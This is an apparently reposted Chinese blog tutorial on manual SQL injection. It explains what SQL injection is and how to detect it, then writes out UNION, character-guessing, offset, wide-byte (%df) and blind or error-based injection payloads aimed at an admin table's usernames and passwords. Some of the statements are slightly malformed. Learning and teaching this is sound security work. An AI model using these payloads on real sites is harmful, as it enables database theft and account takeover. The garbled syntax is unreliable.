SQL 注入
当我们学习一个知识时我们要考虑几个问题: 是什么? 怎么做? 然后进行有条理的学习
是什么?
首先我们要明白 SQL 注入是什么:
sql-- 结构化查询语言
SQL 注入就是在网站 url 中插入 sql 语句, 执行 sql 命令, 获取数据库内容, 达到欺骗服务器的目的.
SQL 注入的原理: 普通用户提交 sql 查询语句, 网站没有对用户输入进行过滤导致执行用户命令
危害及防护
危害: SQL 注入可以使入侵者获取后台账号密码, 拖库, 进入后台破坏, 拿 shell
防护: 设置网站黑名单, 限制敏感词汇, 对用户输入进行转义, 将参数语句化
怎么做?
明白什么时 SQL 注入后我们就要学习如何注入.
注入的前提是要找到注入漏洞, 通常判断是否存在 SQL 注入漏洞的方法有:
1, ' 单引号判断
2, and 1=1 1=2 判断
找到注入漏洞后就可以进行 SQL 注入了, 注入方法分为很多种:
联合查询法
逐字猜解法
偏移注入法
宽字节注入
时间, 布尔盲注
报错注入
进行注入可以使用手工和工具, 手工注入方法:
1, 联合查询法
首先判断存在注入漏洞后:
1, 使用 order by
2, 使用联合查询语句: union select nums,nums(字段数) from admin(数据库表名)
3, 根据返回内容进一步猜解列名: 账号密码
2, 逐字猜解法:
逐字猜解不需要进行猜解字段, 直接使用逐字猜解语句猜解库名, 列名以及账号密码
逐字猜解语句:
- and exists (select * from 表名)
- and exists (select 列名 from 表名)
and (select top 1 len(用户名) from admin ) = 名字长度
- and (select top 1 asc(mid 用户名, 1,1)from admin )=97 (判断第一位的 ascll 值)
- and (select top 1 asc(mid 用户名, 2,1)from admin )=97 (第二位)
逐字猜解方法偏于繁琐, 熟悉手工注入方式即可, 在渗透测试过程中还是要讲究效率问题
3, 偏移注入法:
偏移注入属于无法猜解账号密码后尝试的使用方法, 注入结果带有一点运气的成分
偏移注入语句:
order by 猜解字段
union select num,num,num from 表名
union select num,num,* from admin 逐个递减字段数, 当可以正常访问则证明 admin 表存在 (递减字段数假设为 x) 个字段
之后每次递减 x 个字段
递减一个 x 后
union select num * from(admin as ainner join admin as b on a.id=b.id)
递减两个 x 后
union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
逐个递减直到所剩字段小于 x 后(不一定可以得到所要结果)
4, 宽字节注入法:
什么时候使用宽字节呢? 当 web 编码使用 GBK 时, 可以将单引号转义则使用宽字节注入
宽字节注入:%df (注入语句)%23
5, 报错注入, 盲注则根据页面返回情况, 返回时间进行注入
以上即为常用的几种手工注入方式, 如有错误请留言, 博主及时更正!
基础篇 --SQL 注入(手工注入)
来源: http://www.bubuko.com/infodetail-3413048.html